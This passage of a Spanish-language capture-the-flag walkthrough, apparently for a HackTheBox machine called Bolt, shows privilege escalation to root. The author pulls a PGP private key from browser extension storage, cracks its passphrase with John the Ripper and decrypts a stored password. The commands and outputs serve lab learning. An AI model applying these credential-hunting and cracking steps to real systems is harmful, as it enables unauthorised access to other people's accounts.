(Básicamente, son datos que están almacenados como “privados” dentro de passbolt
, entre ellos puede haber credenciales, números bancarios, de teléfono, etc. Todo tipo de dato que quieras privatizar.)
Interesante, el mismo post citado antes nos indica que podemos revertir el secreto para que ya no sea un “secreto”:
$ echo "<encrypted_token_from_server>" | gpg -d
Así que probemos, tomamos el secreto, lo guardamos en un archivo y ejecutamos:
❱ cat secret.asc | gpg -d
gpg: cifrado con clave RSA, ID F65CA879A3D77FE4
gpg: descifrado fallido: No tenemos la clave secreta
Jmmmm, pues buscando por internet debemos primero importar la llave privada relacionada con ese secreto :O Pos paila, no tenemos eso… Tengamos esto por si algo, suena llamativo.
…
Buscando archivos asociados a eddie
encontramos un correo enviado por clark
:
eddie@bolt:~$ find / -user eddie 2>/dev/null
...
/var/mail/eddie
...
Se habla de una llave privada (ojito) que es necesaria para “recuperar” una cuenta de passbolt
YYYY Clark le indica a Eddie que haga un backup (más ojito aún) de la llave… (Además, que Clark le pide que tenga atención en la seguridad que esto conlleva (interesante)).
Bien, pues pueda que ese “backup” ya exista YY que -exista- en el sistema, así que enfoquémonos en buscarlo.
eddie@bolt:~$ grep -rani "private" .
¿Se ve, no? :O
Exaaaaaaaaaaaacto, hay una llave privada!! El archivo donde esta es este:
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log
Pues copiémosla y peguémosla en un archivo de nuestro sistema, así posteriormente intentaremos jugar con ella… Al copiarla queda con este formato:
❱ cat llavedeleddie.keyphp
-----BEGIN PGP PRIVATE KEY BLOCK-----\\r\\nVersion: OpenPGP.js v4.10.9\\r\\nComment:
...
Los saltos de línea no son interpretados, hay muuuchas maneras de solucionar esto, una de ellas es con vim
. Abrimos el archivo, entramos a su terminal y ejecutamos:
%s/\\\\r\\\\n/\r/g
Ya nos va a quedar el archivo bien lindo:
❱ cat llavedeleddie.keypgp
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
...
Ahora sí, sigamos…
Recuerdas que antes al intentar ver el “secreto” nos pedía importar una llave privada, probemos con esta a ver khe:
❱ gpg --import llavedeleddie.keypgp
Yyyy nos muestra esta ventana:
Pailas, nos pide una contraseña para seguir el proceso :’( A seguir con nuestra enumeración…
Buscando por internet que hacer con este tipo de llaves y si es posible crackearlas llegamos a este post:
🔒 GNU Privacy Guard** (GnuPG o GPG) es una herramienta de cifrado y firmas digitales GNU Privacy Guard (por si se lo preguntaban :P)
En sí la llave no es crackeable, peeeero pasando el contenido a un hash que entienda JohnTheRipper (JtR)
podemos intentar romper y descubrir el contenido en texto plano de la llave :O, sería así:
Así que generamos el hash y simplemente lo guardamos en un objeto (: Ahora le indicamos a john
que intente romperlo. Después de muuuuuuuuchos minutos vemos esto:
❱ john --wordlist=/usr/share/wordlists/rockyou.txt hashdeleddie.hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
...
merrychristmas (Eddie Johnson)
...
Session completed
Opa opa opaaaaaa, tenemos una contraseñaaaaañañañaañañaaaaaa, lo primero es jugar con reutilización de contraseñas (siempre, parece sencilla y básica, pero nunca se sabe):
eddie@bolt:~$ su clark
Password:
su: Authentication failure
eddie@bolt:~$ su
Password:
su: Authentication failure
Nada… Ahora reintentemos importar la llave privada de eddie
para posteriormente jugar con el “secreto”:
❱ gpg --import llavedeleddie.keypgp
Nos vuelve a pedir la contraseña, indicamos merrychristmas
yyyyyyyyyyyyyy:
PEEEEEEEEEEERFECTO, ahora si nos dejó, si validamos las llaves del sistema, tenemos la recién agregada:
❱ gpg --list-keys
...
-----------------------------
pub rsa2048 2021-02-25 [SC]
DF426BC7A4A8AF58E50EDA0E1C2741A3DC3B4ABD
uid [desconocida] Eddie Johnson <eddie@bolt.htb>
sub rsa2048 2021-02-25 [E]
Ya con la llave privada importada, retomemos la idea de recuperar nuestro “secreto” (uajaja):
❱ cat secret.asc | gpg -d
La respuesta es distinta:
Colocamos de nuevo merrychristmas
como contraseña y y yyyyyyy:
HAY UNA CONTRASEÑA dentro del SECRETOOOOOOOOOOOOOOOOO! Solo nos queda probarla en todos los sitios (: Inicialmente en el sistema:
eddie@bolt:~$ su clark
Password:
su: Authentication failure
eddie@bolt:~$ su
Password:
root@bolt:/home/eddie# whoami; hostname
root
bolt.htb
Y tenemos una terminal como el usuario root
((((((: Bastante fresco, veamos las flags…
Y nada, hasta la próxima.
Aporte final, me gusto su uso (y pa que no se me pierda :P)
Así podemos listar objetos entre dos fechas:
❱ find . -newermt "2019-01-01" ! -newermt '2019-12-01'
…
Me pareció muuuuuuuuuuy brutal el path hasta el user, una cosita de locos :P El Geek esta demente (: Me gusto mucho la máquina.
Y bueno, nos leeremos en la otra biblia, se me cuidan y descansen! Pero recuerden que hay que seguir rompiendo todo!!!!!!
Comments